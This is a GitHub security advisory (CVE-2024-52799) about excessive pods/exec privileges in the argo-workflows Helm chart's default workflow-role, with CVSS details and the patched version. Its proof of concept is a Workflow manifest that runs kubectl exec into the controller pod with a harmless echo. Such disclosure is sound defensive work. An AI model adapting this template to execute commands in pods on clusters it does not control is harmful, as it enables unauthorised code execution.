Skip to content

Workflows: Excessive Privileges in Workflow Role

High
tico24 published GHSA-fgrf-2886-4q7m Nov 21, 2024

Package

https://argoproj.github.io/argo-helm/argo-workflows (Helm)

Affected versions

appVersions >=3.4

Patched versions

0.44.0

Description

Important

This only affects the Helm Chart and not the upstream manifests

Summary

The workflow-role has excessive privileges, the worst being create pods/exec, which will allow kubectl exec into any Pod in the same namespace, i.e. arbitrary code execution within those Pods. If a user can be made to run a malicious template, their whole namespace can be compromised.

This privilege was used by the k8sapi Executor in older Argo Workflows versions <=3.3 when selected. In versions >=3.4, only the Emissary Executor is available, and it does not use any forms of elevated privileges. See also a summary of the Executors in an older version of the docs: https://argo-workflows.readthedocs.io/en/release-3.4/workflow-executors/.

This was resolved by #3044

Details

The workflow-role has excessive privileges:

pods/exec and pods/log

PoC

Install per instructions with a Workflow SA:

helm repo add argo https://argoproj.github.io/argo-helm
helm install my-release argo/argo-workflows -f values.yaml
# values.yaml
workflow:
  serviceAccount:
    create: true
    name: "argo-workflow"
  rbac:
    create: true
controller:
  workflowNamespaces:
    - default

Run Workflow that execs into the Controller

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: hello-world-in-controller-
spec:
  entrypoint: controller-exec
  serviceAccountName: argo-workflow # Set ServiceAccount
  templates:
    - name: controller-exec
      container:
        image: bitnami/kubectl
        command: [ kubectl ]
        args: 
          - exec
          - workflow-controller
          - echo
          - "hello world"

Impact

Anyone who uses the provided workflow-role may be vulnerable to arbitrary code execution from a malicious template.

The role is currently installed by default. Fortunately though, the attached SA is not installed by default and would still have to be manually added as a serviceAccountName to a Workflow or template.

This affects versions of the argo-workflows Chart that use appVersion: 3.4 and above, which no longer need these permissions for the only available Executor, Emissary. It could also affect users below 3.4 depending on their choice of Executor in those versions.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-52799

Credits